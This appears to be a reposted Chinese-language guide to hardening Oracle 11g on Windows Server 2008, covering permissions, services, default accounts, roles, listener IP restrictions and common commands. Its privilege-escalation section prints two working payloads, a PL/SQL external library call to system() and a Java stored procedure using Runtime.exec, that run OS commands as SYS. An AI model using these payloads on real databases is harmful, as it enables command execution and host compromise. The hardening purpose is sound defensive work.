<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/%e8%bf%90%e7%bb%b4%e5%ae%89%e5%85%a8/2547

    0x01 測試環境


    操作系統:window server 2008 x64 oracle:oracle 11.2.0.1.0

    0x02 oracle權限介紹


    1. oracle一個實例就是一個數據庫,創建一個新的數據庫會產生一個新的實例,并且一個實例獨立運行一個進程。
    2. 一個用戶對應一個方案,當用戶新建一個數據對象(比如表)之后會在此方案下面。自己訪問可以直接訪問,其他用戶訪問需通過“方案名.對象名”的方式。
    3. 用戶默認擁有自己方案下面的數據對象的權限,其他用戶無相應權限。sys,system默認擁有所有方案的權限。
    4. 當一個用戶登錄oracle實例時,首先需要判斷用戶是有否登錄權限,如果沒有,直接不能登錄,如果有,則登錄成功。登錄成功之后,會根據用戶擁有的權限來決定能做的事情,在進行一項操作時,如果有權限,則操作成功,如果沒有權限,則操作失敗。
    5. oracle主要有兩個核心進程,一個是oracle的服務進程,一個是監聽進程,當外部連接oracle時,首先是訪問的監聽進程,由監聽進程根據你訪問的數據庫實例來轉發到相應的oracle實例進程處理。

    0x03 oracle系統服務


    在window server 2008中安裝的oracle 11g總共會有七個服務,這七個服務的含義分別為:

    a. Oracle ORCL VSS Writer Service:

    Oracle卷映射拷貝寫入服務,VSS(Volume Shadow Copy Service)能夠讓存儲基礎設備(比如磁盤,陣列等)創建高保真的時間點映像,即映射拷貝(shadow copy)。它可以在多卷或者單個卷上創建映射拷貝,同時不會影響到系統的系統能。(非必須啟動)

    b. OracleDBConsoleorcl:

    Oracle數據庫控制臺服務,orcl是Oracle的實例標識,默認的實例為orcl。在運行Enterprise Manager(企業管理器OEM)的時候,需要啟動這個服務。(非必須啟動)

    c. OracleJobSchedulerORCL:

    Oracle作業調度(定時器)服務,ORCL是Oracle實例標識。(非必須啟動)

    d. OracleMTSRecoveryService:

    服務端控制。該服務允許數據庫充當一個微軟事務服務器MTS、COM/COM+對象和分布式環境下的事務的資源管理器。(非必須啟動)

    e. OracleOraDb11g_home1ClrAgent:

    Oracle數據庫.NET擴展服務的一部分。 (非必須啟動)

    f. OracleOraDb11g_home1TNSListener:

    監聽器服務,服務只有在數據庫需要遠程訪問的時候才需要。(非必須啟動,但是供外部訪問則必須啟動)。

    g. OracleServiceORCL:

    數據庫服務(數據庫實例),是Oracle核心服務該服務,是數據庫啟動的基礎, 只有該服務啟動,Oracle數據庫才能正常啟動。(必須啟動)

    那么在開發的時候到底需要啟動哪些服務呢?

    對新手來說,要是只用Oracle自帶的sql*plus的話,只要啟動OracleServiceORCL即可,要是使用PL/SQL Developer等第三方工具的話,OracleOraDb11g_home1TNSListener服務也要開啟。OracleDBConsoleorcl是進入基于web的EM必須開啟的,其余服務很少用。

    0x04 oracle默認賬戶


    在oracle11g安裝后,會有很多系統默認賬號,除了4個外,其他的都處于鎖定狀態,如無特殊用途,請不要打開。另外4個分別為:

    1. SYS用戶 SYS,當創建一個數據庫時,SYS用戶將被默認創建并授予DBA角色,所有數據庫數據字典中的基本表和視圖都存儲在名為SYS的方案中,這些基本表和視圖對于Oracle數據庫的操作是非常重要的。為了維護數據字典的真實性,SYS方案中的表只能由系統來維護,他們不能被任何用戶或數據庫管理員修改,而且任何用戶不能在SYS方案中創建表。

    2. SYSTEM用戶 SYSTEM,與SYS一樣,在創建Oracle數據庫時,SYSTEM用戶被默認創建并被授予DBA角色,用于創建顯示管理信息的表或視圖,以及被各種Oracle數據庫應用和工具使用的內容表 或視圖。

    3. DBSNMP用戶 DBSNMP是Oracle數據庫中用于智能代理(Intelligent Agent)的用戶,用來監控和管理數據庫相關性能的用戶,如果停止該用戶,則無法提取相關的數據信息。

    4. SYSMAN用戶 SYSMAN是Oracle數據庫中用于EM管理的用戶,如果你不用該用戶,也可以刪除或者鎖定。

    以上4個賬戶的密碼均為安裝時候設置的密碼,由于一般情況下,DBSNMP和SYSMAN用戶不會被使用而被遺漏,建議鎖定。

    0x05 oracle權限和角色


    a.權限

    oracle權限分為系統權限和對象權限,當剛剛建立用戶時,用戶沒有任何權限,也不能執行任何操作。如果要執行某種特定的數據庫操作,則必須為其授予系統的權限。如果用戶要訪問其他方案的對象,則必須為其授予對象的權限。

    系統權限是指執行特定類型Sql命令的權利,它用于控制用戶可以執行的一個或是一組數據庫操作。比如當用戶具有create table權限是,可以在其方案中建表,當用戶具有create any table權限時,可以在任何方案中建表。Oracle提供了100多種系統權限。

    常見的系統權限見下表:

    create session

    連接數據庫

    create view

    創建視圖

    create procedure

    創建過程、函數、包

    create cluster

    建簇

    create table

    創建表

    create public synonym

    創建同義詞

    create trigger

    創建觸發器

    常見的對象權限見下表:

    alter

    修改表結構

    delete

    刪除數據

    select

    查詢數據

    insert

    添加數據

    update

    修改數據

    index

    在表上建立索引

    references

    引用

    execute

    執行

    注:可以用all代替select, update, insert, alter, index, delete

    b. 角色

    oracle角色分為系統角色和自定義角色,自定義角色可以根據需要指定相應的權限,系統角色主要介紹下面3個:

    DBA: 擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構。

    RESOURCE:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構。

    CONNECT:擁有Connect權限的用戶只可以登錄,不可以創建實體和數據庫結構。

    對于普通用戶:授予connect, resource角色。

    對于DBA管理用戶:授予connect,resource, dba角色。

    0x06 oracle如何建立網站連接用戶


    方案一:

    1. 使用system新建一個用戶名,給予connect,resource 的角色

    2. 使用新建的用戶登錄,然后創建需要的表

    3. 使用system登錄,revoke新建用戶的connect,resource角色

    4. 使用system登錄,grant新建用戶create session 權限

    5. 使用system登錄,給予新建用戶在USERS表空間的權限

    方案二:

    1. 使用system登錄,創建網站需要的表

    2. 使用system登錄,創建一個用戶名

    3. 使用system登錄,grant新建用戶create session的系統權限,然后根據網站的需要給予所建表的相應的對象權限。

    4. 使用system登錄,給予新建用戶在USERS表空間的權限

    5. 網站訪問數據庫的時候使用“system.表名”的形式。

    0x07 oracle安全配置方案


    1. 限制訪問ip

    方法一:

    防火墻指定,windows中通過windows防火墻中指定監聽端口的訪問ip,linux中通過iptables指定監聽端口的訪問ip。

    方法二:

    windows中可通過ipsec指定監聽端口的訪問ip。

    方法三:

    可通過oracle的監聽器中指定可訪問的ip 在服務器上的文件$ORACLE_HOME/network/admin/sqlnet.ora中設置以下行:

    tcp.validnode_checking = yes
    

    允許訪問的ip

    tcp.invited_nodes = (ip1,ip2…)
    

    不允許訪問的ip

    tcp.excluded_nodes=(ip1,ip2,……)
    
    1. 修改端口 可以修改監聽器的端口,減少掃描量

    2. 關閉不必要的服務 可以關閉不必要的服務來減少對外訪問,除了OracleServiceORCL和OracleOraDb11g_home1TNSListener是必須開啟的之外,其他的均可以關閉。特別是OracleDBConsoleorcl服務的開啟會啟用web版的EM,訪問端口在1158,如不需要請關閉此服務。

    3. 所有的用戶均需設置強密碼 在設置密碼的時候均需要設置8位以上的強密碼,且包含大小寫,數字,特殊字符。

    4. 關閉不需要的用戶 oracle默認會有4個不鎖定的賬戶,建議鎖定DBSNMP和SYSMAN。

    5. 特權賬戶的處理 限制數據庫超級管理員遠程登錄。 a. 在spfile中設置 REMOTE_LOGIN_PASSWORDFILE=NONE b.在sqlnet.ora中設置 SQLNET.AUTHENTICATION_SERVICES=NONE 禁用SYSDBA角色的自動登錄

    6. 開啟日志 可以開啟日志對數據庫進行審計,但是也會消耗資源,可根據實際情況操作。

    7. 網站使用的數據庫賬號權限最小化 可以根據上面寫的網站連接數據庫賬戶推薦的方案建立。

    8. 合理使用數據庫進程賬戶 數據庫進程賬戶使用較低權限賬戶,新建一個新用戶,添加數據目錄的寫權限,如果配置之后跑不起來,可以退而求其次,給予整個數據庫目錄的完全控制權限。

    9. 合理配置數據庫進程賬戶對磁盤的權限 不要給予數據庫目錄以外的特殊權限,最好是讀取權限都不給,可以根據實際情況來安排,原則就是數據庫目錄給的權限能保證正常運行,其他的目錄能不給就不給。

    0x08 oracle提權及防御點


    1. 通過PL/SQL提權

    create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll';  
    create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');
    

    2. 使用java提權

    CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');
    

    以上兩種方法如果使用sys均可以提權成功,而普通權限用戶是無法完成上面的操作的。所以防御源頭還是只能對sys特權賬戶的管理,但是如果真的特權賬戶被黑客獲取,此時的方法也只有使用低權限的數據庫進程賬戶,以及控制進程賬戶對磁盤的權限,這樣操作能將黑客能夠操作的權限降到最低。 至于先對低權限的oracle賬戶提升為dba權限,然后進行系統提權的操作本文不討論,也請大牛提供更好的方法。

    0x09 oracle常見操作命令


    1. 連接數據庫

    conn [email protected] as sysdba;
    

    2. 新建用戶

    create user yonghuming identified by mima;
    

    3. 給用戶授權

    grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;
    

    4. 取消授權

    revoke connect , resource from yonghuming;
    

    5. 刪除鎖定(解鎖)賬號

    alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;
    

    97av